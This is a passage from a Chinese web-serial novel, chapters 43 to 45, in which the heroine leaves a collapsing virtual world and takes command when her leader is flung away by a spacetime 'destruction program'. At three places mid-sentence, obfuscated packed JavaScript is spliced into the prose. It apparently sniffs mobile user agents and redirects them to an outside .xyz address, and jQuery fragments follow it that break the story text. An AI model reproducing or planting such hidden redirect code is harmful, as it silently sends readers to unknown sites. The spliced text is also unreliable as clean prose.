绝望和一种不顾一切的冲动在乐晴心中炸开。她抓住夏未的手臂：“告诉我，到底怎么才能杀了它们？怎样才能杀死核心？！” 夏未因为疼痛蜷缩着身体，却因为乐晴的这句话抬起头。他仰头看着乐晴，琥珀色的眼睛眨了眨：“你想要杀死核心。” 不是询问，是肯定。 乐晴点头。 她没有时间通过顺利毕业这个途径结束游戏了。现在唯一的办法就是杀死核心。 “你已经成功杀死了核心。” “什么？” 夏未仰着脸，失血让他唇色褪尽，眼睫下琥珀色的瞳孔却异常清亮，清晰地映出她此刻凝固的惊愕。 他的目光深处没有戏谑，只有一种尘埃落定的平静。 融合体再次展开攻击，巨大的身躯撕裂空气，裹着腥风再次狂暴扑来。另外几只形态怪诞的也紧随其后，腐烂的肢体拍打着地面和墙壁，直冲实验室门口。 致命的压迫感下，乐晴来不及再思考，只凭着本能用双管枪对准怪物。 “嗡……” 子弹尚未射出，一种极其细微的震动毫无预兆地降临。 扑到门口的融合体猛地僵住，它身上那几张神态各异的脸瞬间凝固。紧接着，他们的脸透出一种奇异的、柔和的蓝光。光晕迅速扩散，构成它身体的皮肉、骨骼、畸形的肢体，开始无声地崩解。 无数细小如尘埃的光点从它开始崩解的庞大躯干上剥离出来，轻盈地悬浮在充满血腥味的空气中。蓝色的光点无声无息地向上飘浮，一切都在柔和的光芒中化为亿万闪烁的微尘。 崩解无声地蔓延开。走廊里，那些刚刚还在疯狂咆哮、蠢蠢欲动的怪物齐齐定格，它们扭曲的肢体、狰狞的头颅，无一例外地透出那种纯净而冰冷的光芒，然后从边缘开始，无声地剥落、飞散。 瞬息之间，扑到门前的巨大威胁，连同走廊里所有可怖的阴影，尽数化为悬浮飘荡的光点。它们消散前残留的尖啸余韵，在空旷的走廊墙壁间空洞地回荡了几下，随即被彻底的死寂吞没。 实验室里只剩下令人窒息的安静。夏未粗重压抑的喘息声，成了唯一活着的证明。 乐晴僵硬地抬起头。头顶，一根暴露在外的、布满灰尘的旧白炽灯管，“啪”地一声，毫无征兆地熄灭了。紧接着，灯管两端的金属灯头也化成细碎的蓝色光点。光点飘散，灯管本身也开始从两端向中间，飞快地分解成更细密的尘雾。 墙壁上，靠近走廊破洞的位置，一块灰白色的墙皮率先剥落，并未掉在地上，而是在半空中就化为一片迷蒙的光尘。剥落的范围迅速扩大，如同霉菌在墙壁上无声地疯狂滋长、蔓延。墙体内部的砖块、水泥，也紧跟着透出蓝光，纷纷解体。整面墙壁无声地塌陷、流泻，化为漫天飞舞的蓝色光点，暴露出后面扭曲断裂的钢筋骨架——那些钢筋也在接触空气的瞬间，开始崩解。 脚下的地面传来一阵剧烈的摇晃。 乐晴一个趔趄，差点摔倒。她低头看去，脚下的水磨石地砖缝隙里，刺眼的蓝光正从深处透射出来。地砖本身开始软化、变形，边缘处同样分解成光尘向上飘散。地面如同被投入石子的水面，荡漾开一圈圈淡蓝色的涟漪，涟漪所及之处，物质纷纷化为虚无的光点。 头顶传来令人心悸的“嘎吱”声。天花板中央，一大片预制板连同上面附着的管道线路，骤然塌陷下来！但它们在坠落的过程中，就已经开始了分解。大块的混凝土、扭曲的金属管道、缠绕的电线，在半空中如同被投入烈火的纸片，边缘迅速燃烧、崩解成亿万光点，最终只化作一片壮观的、缓缓沉降的光尘瀑布，还未触及地面，便已彻底消散在空气中。 整个空间正在以肉眼可见的速度崩塌、消散。墙壁、地面、天花板、设备残骸……所有构成这个“世界”的实体物质，都在剥离、升腾，化为无穷无尽的光点。光线变得异常怪异，仿佛被无处不在的光尘折射、散射，呈现出一种非现实的、朦胧而破碎的光影效果。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271305|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气中充满了无声飘浮的蓝色光点。 “呃……”夏未发出一声压抑的痛哼，身体因剧痛和地面的剧烈摇晃再次蜷缩。大量失血让他脸色变得黯淡，每一次呼吸都牵扯着背上深可见骨的伤口，带出更多温热的液体，浸透乐晴扶着他的手臂。 “乐晴，当你发自内心地想要杀死核心的时候，它就会自己毁灭。” 自己毁灭……乐晴看着正在崩塌的世界，突然有一种五感被剥离的感觉。就好像一场虚拟游戏，她是唯一的玩家，当她想要停止这场游戏时，一切虚拟的场景都会褪去。 “你也是吗？” 乐晴一直都想问。 她不知道自己从学校来到南附属二医有没有夏未的推动，但杀死核心、让世界崩塌，绝对是夏未也想要看到的。可是为什么呢？ 乐晴低头看着夏未，他也正在崩塌、消散成光点。 一个想法诡异地出现，像一股电流冲过她的脊骨。 他在求死？ 夏夏、丁凡……夏未，他们的行为极其异常，就像在……求死。 夏未低笑一声：“不是。” “轰隆——” 一阵远比之前任何一次都要沉闷、都要巨大的撕裂声从地壳的深处传来一整个空间发生了前所未有的剧烈倾斜。 乐晴和夏未瞬间失去平衡，身体被一股无可抗拒的力量猛地甩向正在光尘化、崩塌得只剩骨架的墙壁方向。夏未的身体像断线的木偶般被抛起，他背上的伤口在剧烈的拉扯下再次迸裂，更多的鲜血飚射而出，在飞舞的光尘中划出几道刺目的暗红轨迹。 “夏未！”乐晴失声惊呼，不顾一切地伸手去抓他。 夏未身体猛地一颤，闷哼出声。乐晴一手抓着钢筋，一手拽住夏未，稳住了他失控下坠的身体。 世界的崩解进入了最后阶段。地板大面积消失，露出下方深不见底的、翻涌着混沌光流的巨大虚空，他们如同身处惊涛骇浪中一片随时会倾覆的孤筏。四周，是彻底虚无的黑暗，以及在这黑暗中无声翻腾、奔涌的银色长河，光河浩瀚无边，无声地流向未知的尽头。 头顶传来最后的、令人绝望的断裂声。支撑着这最后一片立足之地的几根钢筋也开始崩解。 最后的立足点，即将彻底消失。 夏未抬头仰视着乐晴：“我赢了。” 她和夏未有过什么赌约吗？ 一片混乱中，乐晴觉得自己才是疯了的那个。 “什么赢了？” “赢了，也输了。”夏未轻叹一口气，动了动被乐晴死死拽住的手，“乐晴，再见。” 随即，他的双手化作一捧光点，从乐晴的手中弥散开来。 “夏未！” 乐晴抓不住漫天的光点，只能眼睁睁看着整个世界化为银河中的尘埃，看着夏未化作漫天的光点。 【滴——检测到挑战者完成任务。滴——检测到挑战者无充足命珠可兑换。】 【本次任务结束，您即将回归现实世界。十、九、八……】 43. 销毁程序 一回生二回熟，乐晴已经自动免疫无法成功兑换砖头的失败了。 反正没死在迷雾之镜里就是赚。 乐晴在自己胳膊上掐了一把，疼—— 的确是从迷雾之镜里出来了。 “统子哥。” “我在。” 在迷雾之镜里的日子太真实了，再次听到系统的回应，乐晴有些恍惚。 “没事了。” 现在，乐晴对这个世界已经有了基本了解，一般情况下，系统只是她用来确认自己所处空间的“定位锚点”。 环顾四周，乐晴正在好像正在一间图书馆内。 图书馆的空间很大，异常安静。书架高耸，挤满蒙尘的书。空气里是陈年纸张和木头混合的气味，几张笨重的长桌空着，桌面摆着“请保持安静”的提示牌。 图书馆？难道还没有离开迷雾之镜？乐晴从书架的过道中走出来。 “统子哥，这是哪里？” “第一中学图书馆。” “第一中学……” “第一中学，根据社会分工设立多个学院，致力于维护世界的正常运转。当前时间：教学日，下午三点十七分。校内活动区域：操场、教学楼。” 也就是说，这所学校更像职业学校，学生毕业之后就会根据各自所掌握的技能进入社会岗位，以维持社会的运转。严谨来说，是维持和平区的运转，因为贫民区更像是流放之地，贫民区的人们更像是被流放的人。 “初中还是高中？” “高中。年满十六周岁可申请入学，年满十八周岁即可毕业。” 成年即就业……乐晴又估摸了一下这个世界的形势，觉得贺以辛还是仁慈了。 乐晴没废话，转身走向图书馆那扇厚重的大门。推开时，门轴发出沉闷的嘎吱声。 不远处是空旷的操场，塑胶跑道褪色严重，中间的草皮枯黄稀拉，几根锈蚀的单杠杵在角落。 没人。 乐晴穿过操场，走向对面的主教学楼。主教学楼方方正正的，窗户密密麻麻，大多拉着帘子，不知道的还以为是在进行什么秘密培训。 校门就在前面不远。铁门半敞，旁边挂着“第一中学”的牌子，漆皮剥落，两个保安拿着棍子站在门口往外张望着。注意到乐晴，两人没什么反应，只是替乐晴打开大门。 乐晴径直离开学校，循着不远处的嘈杂声走过去，看见路边停着几辆黑色厢式车。几个身着同款黑色制服、神情冷硬的人正拉起黄色警戒线，封锁了前方一段街道。其中一人身形格外挺拔，黑色风衣裹着利落的线条，微微低着头，正在和旁边的人讨论着什么。屏幕的冷光映着他侧脸，下颌线绷得像刀锋。 是贺以辛。 他头也没抬，声音不高，穿透力却极强：“C组，左翼清障，动作快。” 旁边严阵以待的工作人员立刻有序前往目的地。 发生什么事了吗？乐晴顺着封锁线看过去，附近的普通人正在撤离，被封锁的地方是一个规模不大的店铺，透过玻璃橱窗，依稀可以看到几尊雕塑。 贺以辛站在人群中央，又迅速安排了一组人员前往右侧的狭道。 贺以辛似乎感觉到了视线，抬眼，视线精准地锁定站在警戒线外、显得有些格格不入的乐晴。 他脸上没什么多余的表情，似乎乐晴的出现只是一个小插曲，继续下达指令。 “B组，封锁后巷所有出口，确保无遗漏。” “D组，能量读数稳定前，任何人不得靠近目标建筑二十米内。” “检测组，三分钟后开始第一次环境扫描。” 乐晴看着他。 刚从迷雾之镜那种诡谲莫测的环境里挣扎出来，又一头撞进这被严密封锁、气氛肃杀的现场，她甚至有点分不清这算不算另一种形式的“无缝衔接”。 贺以辛一身冷硬的黑色制服，指挥若定，与迷雾之镜中献祭生命换取世界混乱的“贺以辛”完全不是同一个人。这种强烈的反差让她一时有些恍惚。 指令完毕，贺以辛很快收回了目光，迈开长腿，径直穿过忙碌的下属和封锁线，朝乐晴走来。 他的步伐利落，风衣下摆划开冷硬的弧度。 他在乐晴面前站定，距离不远不近，垂眸看着她，目光在她脸上短暂停留，似乎在确认她的状态。 “乐晴，还顺利吗？”他的声音低沉，第一时间是关切。 或许贺以辛已经进过无数次迷雾之镜，知道她的突然消失是不可控，所以不用追问也了然于心。 “嗯。”乐晴点头。 乐晴想问，为什么迷雾之镜里的人好像都在求死，为什么她遇到的夏未……好像有金手指，知道剧情的走向和自己的命运，乐晴看似是那个玩家，却被规定好了选项，夏未就是那个催促她进行选择的推动者。 于她不过是一个副本，于他却是生命的彻底湮灭。 可她知道，现在不是说这些的时候。 乐晴深吸一口气，试图驱散那点恍惚感。 “刚从图书馆出来。”她言简意赅，抬手指了指身后第一中学的方向，“然后就听到动静，看见你们在封锁这里。” 她顿了顿，目光越过贺以辛的肩膀，投向那间被封锁的店铺：“贺队，发生什么事了？那家店……” 橱窗里那些形态各异的雕塑在警戒线后显得格外阴森，被点上瞳孔的人形雕塑好像活过来了一样，齐刷刷盯着乐晴。 贺以辛顺着她的目光瞥了一眼店铺，眼神更沉了几分：“异常能量反应，源头不明，初步判定具有高污染风险。” “高污染风险？有多高？”在此之前，乐晴发现异常就直接动手清理了，没有过多注意这些污染物的等级划分。 “对我们来说，不高，但对普通人来说，相当于伊格纳乌斯之嗣。” “……”乐晴忽然沉默。 看着几乎不在状态、精神恍惚的乐晴，贺以辛的眉头几不可察地蹙了一下。他沉默了几秒，似乎在评估乐晴的精神状态。 “还没有完全恢复过来的话，就先回去休息吧。” “嗯，谢谢贺队。”乐晴应道。 很多事情还没想清楚，她的确不想现在就投入工作。 她正想转身离开，眼角的余光却突然捕捉到一丝异常。 就在那间店铺的橱窗玻璃上，贺以辛身后的警戒线内，一个模糊的影子似乎极其轻微地移动了一下。它的轮廓僵硬、扭曲、笨拙，更像橱窗里某个雕塑活了过来。 不对……是雕塑的影子！ 一股寒意顺着脊椎窜上。 橱窗里的雕塑纹丝不动，但投射在玻璃上的影子却在笨拙地扭曲、挣扎，想要挣脱本体的束缚，却又被牢牢禁锢在着。 “贺队！”乐晴的声音有些发紧，她指向橱窗，“贺队，影子！” 乐晴话音未落，贺以辛已经循着她所指的方向回头，瞬间捕捉到了那个正在玻璃上异常扭动的阴影。 “退后！警戒！”贺以辛将乐晴挡在身后，自己则迅速侧身，手握黑色铁链上。 在此之前，乐晴只见贺以辛拿出过两次黑色铁链。一次是在后山初遇，据说是为了测试她的能力；另一次是在伊格纳乌斯之嗣让所有人的精神被污染的时候。 周围安全部的工作人员反应极其迅速。原本就高度戒备的他们在听到命令的瞬间，所有动作都停滞了一秒，随即爆发出更强的行动力。所有面向店铺的队员立刻调整姿势，武器出鞘，一股肃杀之气弥漫开来。 检测组的仪器发出更加尖锐急促的警报声，屏幕上代表异常的曲线疯狂跳动。 “全部退后！”贺以辛让他们一并退后，自己则拿着黑色铁链要往警戒区域里走。 “贺队！”乐晴下意识抓住贺以辛的袖口。 贺以辛顿了一下：“回金字塔找李茉子，她还有事情要跟你说。” “不行，你不能一个人进去！” 乐晴不知道里面到底什么情况，不知道那些影子是什么东西，但是贺以辛一个人进去太危险了。 “是来自另一个世界的污染物，精神污染的严重程度比预期的更高，除了我，没有人能在这种程度的精神污染中保持理智。”贺以辛看着乐晴，“听话。” 看着贺以辛坚定的眼神，乐晴忽然有一瞬间的恍惚，现实将她从迷雾之镜的虚幻中扯了出来。 这才是贺以辛。 就算所有人都变成旁观者，就算面对的危险不可战胜，贺以辛也会坚定地往前，而不是献祭自己，换取什么混乱，让自己曾经的努力付之一炬。 “贺队，我和你一起。” “不行，太危险了。”贺以辛拒绝了乐晴的提议，“进入警戒线后，我会打开一个隔离罩，你暂代我的位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271306|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，指挥他们防止污染扩散，必要时启动最高级别的销毁程序，黎楷期会协助你。” 话音刚落，一辆跑车在空中由远及近，迅速落地，黎楷期高大的身影从车上跳下来。 “贺队！” 贺以辛点头：“按照计划行事。” “明白！” 贺以辛没有再给乐晴阻拦他的机会，快步走进警戒线，打开隔离罩。 淡蓝色的能量屏障瞬间升起，呈现出半透明质感。屏障表面，能量如双蛇回环般交缠流动，发出警示信号。 “隔离罩是什么？”乐晴问。 黎楷期解释道：“打开隔离罩是贺队才有的能力。如你所见，它能将污染区域与现实空间完全隔绝。屏障内外视觉互通，但物理规则互不干涉，形成两个独立的空间。” 就好像隔着一层罩子的两个世界。 黎楷期继续道：“如果有必要，隔离罩内的污染物无法控制，安全部的同事就会启动最高级别的销毁程序。” 乐晴看着严阵以待的同事们。除了五花八门的武器，他们每个人都拿着一个红色的球形物体。 “那个吗？怎么用？” “对，除了我们指挥部的人，每个人都会有一个。”黎楷期并没有解释为什么指挥部的人没有，继续道，“这个销毁程序也是贺队设计的，一旦精神污染超出可控范围，他们就会在命令下启动销毁程序，也就是摁下按钮，扔向隔离罩。” 有点像……手雷。 “贺队不会一起被销毁吗？” 隔离罩里不光有污染物，还有贺以辛。 黎楷期摇头：“放心，贺队是不会出事的。” 黎楷期注意着隔离罩里的情况。 随着雕塑在贺以辛的黑色铁链之下化成齑粉，那些影子挣扎的动作更加急切、扭曲。 黎楷期：“销毁程序的核心原理是强制性的时空撕裂。激活按钮即启动装置，内置三秒缓冲。三秒后，装置释放的能量将在其作用范围内，强行撕裂并彻底摧毁时空结构。隔离罩的作用不仅是分割空间，更是一个大型集成场域发生器。它将内部所有物质与能量状态‘封装’为一个整体单元，便于时空被吞噬。” “——相比于隔离罩外更大的空间，程序会先将里面的时空撕成碎片、然后吞噬。贺队精确计算过每个装置的破坏当量以及所需的总数。启动后，所有装置的能量叠加，足以将隔离罩内的时空完全解离、吞噬殆尽。” “撕裂时空？这……怎么可能做到？” 黎楷期的目光没有离开隔离罩内贺以辛的战斗，声音沉稳地解释道：“物质和能量会弯曲时空，形成引力场。极端情况下，如黑洞的奇点，时空曲率会达到无穷大，形成无法逆转的‘撕裂’。” “销毁程序，”黎楷期指着队员们手中的红球，“其核心是一种超高密度的‘奇点炸弹’雏形。启动后，它会在极短时间内，在其作用点附近模拟产生一个微观、瞬态的极端时空扭曲场，你可以理解为制造一个瞬间存在的、人工诱导的‘微型时空奇点’。” “单个装置的效应极其微弱且短暂，不足以稳定存在。但贺队设计的隔离罩场域，其核心功能之一就是‘时空坐标锚点’。”黎楷期一开始也不敢相信这个程序，但贺以辛用行动证明了一切，所以他将贺以辛告诉他的原理牢记于心，“它像磁体一样精确地吸附所有销毁程序同时产生的微观时空扭曲场，在隔离罩这个几何中心点进行叠加和同步。” “想象一下无数个微小的涟漪，在特定时空坐标点上精确同步爆发、叠加共振。”黎楷期用了个比喻，便于乐晴理解，“在特定能量条件下，时空曲率会不可避免地趋向无限。当所有销毁装置的能量场在隔离罩中心精确叠加，其累积效应将短暂但强有力地突破时空稳定性的阈值。” “——结果就是，隔离罩内部封装的空间-时间连续体结构被彻底粉碎。隔离罩内的时空，连同其中包含的一切物质、能量、信息，包括那些导致精神污染的污染源，一同被彻底摧毁。它们从我们的宇宙中被‘删除’，或者说，被那个瞬间形成的、人工的时空奇点所吞噬，归于虚无。” 作为接受过高等教育的人，乐晴即使不是相关专业出身，但也能大致理解这其中的科学原理。只是她没想到，这个不讲科学的世界里竟然有科学的存在。 “可贺队为什么不会和时空一起被撕裂？” 44. 蚀心 “可贺队为什么不会和时空一起被撕裂？” 这是这其中最不科学的地方。 黎楷期的眼神闪烁了一下，似乎在斟酌措辞，最终沉声道：“因为贺队……他本身就是一个‘时空异常体’。” “时空异常体？”乐晴对这个词感到既陌生又震惊。 “是的。”黎楷期目光重新投向隔离罩内正在单方面消灭影子的贺以辛，声音带着一种近乎敬畏的复杂情绪，“我们不完全理解贺队能力的全部本质，但有一点是经过无数次任务验证的，当遭遇低于某个临界强度的时空扰动，比如我们现在启动的销毁程序所产生的这种，贺队不会像其他物质或能量一样被彻底粉碎和吞噬。” 他停顿了一下：“而是会……‘穿过’这次撕裂事件。时间维度对他而言是相对稳固的锚点，这意味着他经历的时间流与外界同步，不会发生跳跃或回溯。但空间坐标……” 黎楷期的表情变得有些无奈：“空间坐标会发生不可预测的随机性重置。销毁程序启动后，隔离罩内的时空被吞噬，但贺队会被瞬间从那个崩溃的奇点中抛出，随即被投放到当前世界的任意一个角落，可能是几百公里外的荒野，也可能是城市另一端的某个屋顶，就好像你从迷雾之镜出来那样。这个过程完全随机，无法预测，也无法控制。” “这就是贺队坚持独自进入隔离罩的核心原因。”黎楷期补充道，“除了他，没有任何生命体能在这种程度的时空撕裂中幸存。其他人进入隔离罩，启动销毁程序就等于同归于尽，而且是彻底的、从存在根基上的抹除，就算时间倒流也无法挽回，因为。只有贺队，凭借着他自身那无法复制的‘异常’，能在毁灭的风暴中成为唯一的幸存者。” 乐晴倒吸一口凉气，心中涌起难以言喻的震撼。这解释了黎楷期之前为何那么笃定贺以辛不会有事，也解释了为什么贺以辛拒绝任何人同行，更解释了为什么姚芸方曾经说，对他们来说，贺以辛是和“神”是差不多的存在。 除了神，没有人可以从时空中逃离。 “所以，每次启动销毁程序，对他来说都是一次……”乐晴的声音有些干涩。 “一次强制性的、目的地未知的随机传送。”黎楷期替她说完，语气沉重，“而且是在经历了一场与高危污染物战斗之后的传送。这就是贺队的‘安全’，建立在牺牲自身空间位置确定性上的安全。我们只知道他一定会活下来，但他会在哪里出现，状态如何，需要多久才能归队，都是未知数。” 隔离罩内，贺以辛逐渐占了上风，黑色锁链击碎缠绕上他脚踝的影子。 “这个销毁程序，有使用上的限制吗？” “有。”黎楷期解释，“贺队说过，销毁程序只能在星球运行稳定的情况下使用，否则，他无法保证自己的降落点还在这颗星球。” “所以上次空域入侵……” 空域遭到入侵意味着星球的运行不稳定，也就是说无法使用销毁程序，否则，贺以辛很有可能被“流放”到一个星球之外的未知地点。且不说贺以辛能不能存活，就算能存活，能不能回来、怎么回来都是无法做出预案的问题。 黎楷期意味深长地看着乐晴：“你应该能理解，如果没有贺队，这个世界岌岌可危。” 贺以辛相当于这个世界的最后屏障。 - 隔离罩内，贺以辛的战斗异常顺利。他忽略掉所有影子的精神污染，黑色锁链如同死神的镰刀，每一次挥舞都精准地切割、粉碎着那些扭曲蠕动的影子。雕塑的齑粉在能量激荡下扬起，大部分影子在锁链的绞杀下发出无声的嘶吼，迅速崩解消散。 黎楷期微微蹙眉，他的直觉让他感到一丝异样：“不太对劲……这些影子……好像在有意聚集？” 就在黎楷期话音落下的瞬间，异变陡生。 那些看似被贺以辛逼入绝境、正在溃散的影子，突然放弃了徒劳的挣扎和攻击。它们如同受到某种核心的强力吸引，疯狂地朝着贺以辛脚边一片不起眼的、尚未被彻底清除的雕塑碎片汇聚而去。 “不好！”黎楷期瞳孔骤缩，“有东西藏在影子里！” 贺以辛显然也察觉到了剧变。他反应极快，手腕一抖，锁链如同黑色闪电般刺向那片汇聚点，试图在核心形成前将其彻底摧毁！ 但影子并非要聚集成实体。 汇聚的影子并非融合，而是献祭般将自身最后的力量注入那块碎片，碎片瞬间爆发出刺目的的幽紫色光芒。一股远超之前的、令人心悸的精神污染冲击波猛地爆发开来，直接作用于意识层面，带着强烈的混乱和疯狂。 贺以辛的动作猛地一滞。 幽紫色的光芒瞬间狠狠扎入他的精神领域。贺以辛闷哼一声，身体剧烈地晃了一下，脸上的血色瞬间褪去，额角青筋暴起。 他的脸上罕见地出现了明显的混乱和痛苦。 “贺队！”乐晴失声惊呼。 贺以辛受到了精神污染的攻击，就连远在隔离罩之外的其他人都感受到了微弱的精神污染，汗毛炸起。直觉告诉乐晴，现在正是启动销毁程序的时候。 “是‘蚀心’。”黎楷期接管了丁凡的资料库，瞬间认出那幽紫色光芒的本质，脸色变得极其难看，“它在污染贺队的精神核心。这东西能无限放大负面情绪，侵蚀理智。” 贺以辛手中的黑色锁链剧烈地颤抖起来，炸开的光芒明灭不定，仿佛随时会失控消散。他试图凝聚力量压制脑海中的混乱，但蚀心的力量如同附骨之疽，不断冲击着他的意志防线。他的动作变得迟滞、僵硬，甚至出现了不可控的迹象。 这是从未在贺以辛身上出现过的状态。 幽紫色的碎片悬浮在半空，如同一个黑洞，吸收着周围残余的污染力量，光芒越来越盛，并开始向贺以辛延伸出血管般的能量触须，试图彻底将他缠绕、同化。 “污染物正在失控，目标正在污染贺队。”黎楷期迅速做出判断，转头看向乐晴，“乐晴，蚀心一旦完成寄生，后果不堪设想，必须启动销毁程序！” 乐晴看着隔离罩内勉强抵抗住触须攻击的贺以辛，心里明白黎楷期是对的。贺以辛精神力异常强大，扛起了保护这个世界的责任，但这并不意味着他能免疫精神污染，相反，贺以辛的心里放了太多人、太多事，这些都可能变成寄居在他内心的负面情绪。 蚀心就像针对贺以辛而生。 一旦他的理智被蚀心彻底摧毁，他将不再是他，甚至可能变成更可怕的污染源。而销毁程序，是唯一能同时清除蚀心和救下贺以辛的办法。 “不启动，他会变成怪物……启动，他会被随机抛向未知……”这个念头在她脑中闪过。 但贺以辛说过，他进入隔离罩之后，乐晴暂代他的位置，需要在黎楷期的协助下指挥他们防止污染扩散，必要时启动最高级别的销毁程序。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271307|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她强迫自己冷静下来：“全体注意！污染核心失控,贺队受到深度精神污染，立即启动最高级别销毁程序。” 严阵以待的安全部成员已经经历过很多次类似的情形，表情没什么波动，训练有素地同时按下销毁装置的红色激活按钮，瞬间响起刺耳的蜂鸣声。 “三！”黎楷期开始倒计时。 隔离罩内，贺以辛似乎感应到了什么，艰难地抬起头，望向乐晴的方向。他眼中的痛苦和混乱依旧，但依然保持着理智，静静等待着。 他相信乐晴会做出正确的选择，相信黎楷期会出色地完成他的任务。 “二！” 蚀心的污染程度超乎所有人的想象，幽紫色的光几乎要将贺以辛完全吞没。 “一！” 数十道红光撞向隔离罩。 球体融入屏障的瞬间，隔离罩内的时空开始扭曲、折叠、破碎、马赛克化、分解……在时空乱流开始肆虐、即将吞噬一切的最后一刹那，乐晴看到贺以辛被幽紫色能量包裹的身影，毁灭性的扭曲中，贺以辛似乎对着她极其轻微地点了一下头，随即，毁灭的浪潮彻底吞没了一切。 现场死寂。只有风卷起深坑边缘的尘土。 乐晴忽然感受到周围的空气发出一声尖锐的嘶鸣，一股狂暴的气流凭空生成，裹挟着尘埃和碎石，形成肉眼可见的白色气浪，疯狂地涌向那个刚刚形成的、代表“无”的深坑。 黎楷期早有准备，为乐晴挡开差点划伤她的碎石。 “那是空间被挖走后形成的短暂真空。” 这股强大的吸力只持续了极其短暂的一瞬，紧接着——那片被吞噬的虚无空间被迅速“补齐”了。空气重新填满，光线自然流淌，深坑边缘的焦痕瞬间被新生的、与周围完全一致的地表覆盖。前一秒还触目惊心的巨大创伤，下一秒已了无痕迹。 空间完成了它的自我修复。 - 金字塔，指挥部专用会议室。 乐晴坐在贺以辛常坐的位置上，感受着座椅代表的那份沉甸甸的重量。她的对面是李茉子和姚芸方。 姚芸方笑得有些无奈：“本来，我们指挥部有六个人，先知疯了，丁凡死了，贺队不知所踪……转眼间，指挥部就只剩一半，又快和以前差不多了。” 李茉子咳嗽两声，打断姚芸方的话，严肃道：“别听她说的这些丧气话。乐晴，贺队提议让你暂代他的位置，一定有他的考量，你不必退缩，我们都会全力协助你。” 乐晴勉强笑了笑：“嗯，麻烦大家了。” 乐晴也不知道为什么贺以辛要把这么重要的职责交给她，但现在贺以辛不在，她连问都没办法问。 办公室的大门“滴”地一声被打开，黎楷期进来。 “贺队归期未定，由乐晴暂代总指挥职责。”黎楷期开门见山，声音沉稳，“我们各自的职责不变，另外辅助乐晴。” 李茉子和姚芸方对视一眼，没有异议。 黎楷期继续道：“乐晴，接下来一段时间，你会辛苦一点，需要了解各个部分的工作，重点关注安全部的行动。” 乐晴点头：“我知道。” 会议刚结束，刺耳的警报声就响彻指挥中心。 “报告！后山C7区监测到中等规模精神污染爆发，正在快速扩散！”信息员急促的声音传来。 乐晴和黎楷期对视一眼，立刻起身，展开行动。 45. 夏行惟 后山此刻笼罩在一片灰蒙蒙的雾气中。雾气中，隐约可见扭曲变形的树木轮廓，以及一些如同褪色旧照片般闪烁、哭泣、嘶吼的人形虚影，空气中弥漫着令人窒息的悲伤和绝望。 黎楷期指挥同事迅速清理污染源，乐晴紧跟在黎楷期身侧，一边观察着污染形态，一边查看黎楷期发给她的污染物分类档案。 污染物的种类繁多，并且稳定保持着更新。与其说是档案，不如说是记录，因为黎楷期今天一天就更新了三条信息。 在乐晴和黎楷期默契的配合指挥下，安全部队员效率极高。双管枪的精准点射与喷雾的扫荡相互配合，再加上其他同事的熟练行动，浓重的灰雾以肉眼可见的速度变得稀薄，那些扭曲的树木轮廓也渐渐清晰，绝望的悲泣声也减弱了许多。 “核心污染源应该在西南角那棵最大的枯树附近，能量读数最高。”黎楷期抹了一把额头的汗，指向雾气深处一个方向，那里隐约可见一棵异常巨大、枝干扭曲如同痛苦手臂的枯树轮廓。 “明白。我带B组从侧翼包抄，黎楷期，你带A组正面压制，压缩它的活动空间。”乐晴迅速部署。 这块区域乐晴很熟悉。 越过前面的草坡，就是她刚来到这个世界时临时休息的贫民窟。 黎楷期点头：“A组，正面推进，压制！” 他手指扣动扳机，一股淡金色、带着清凉气息的雾状物质瞬间喷涌而出，形成一道宽大的扇形幕墙，迎向枯树根部翻涌的黑色核心区域。那淡金雾气所到之处，翻腾的黑色物质如同被冻结般迟滞下来，表面发出滋滋的声响。其他人紧随其后，将密集的能量束射向被暂时压制的核心。 乐晴同时挥手：“B组，跟我来！” 她带着其他同事从左侧快速迂回。手中的双管枪沉稳射击，砰砰的闷响声中，拦截的、由灰雾凝聚的半透明人形接连被能量束击穿、溃散。她的动作干净利落，安全部小组成员在她的带领下迅速靠近。 枯树剧烈震颤，主干上扭曲的枝干疯狂舞动，发出刺耳的尖啸。地面震动，更多的灰雾和黑色触手状物质从根部喷涌，试图突破黎楷期的压制。 “加压。”黎楷期调整罐体输出，淡金雾气的浓度陡增，如同粘稠的凝胶般将翻涌的黑色物质牢牢锁住。A组队员的火力趁机集中倾泻在枯树主干上。 “B组，集火！”乐晴的双管枪已经派不上用场，干脆换了火枪。 枯树发出阵阵震耳欲聋的悲鸣，巨大的树干剧烈颤抖，表面的树皮寸寸剥落，翻涌的灰雾和黑色物质如同失去支撑，迅速消散、瓦解。 几秒钟后，最后一丝灰雾也消失在空气中，漫天漂浮着碎裂的命珠。 扭曲的树木虽然依旧枯败，但那股令人窒息的压力已荡然无存，阳光重新洒落。 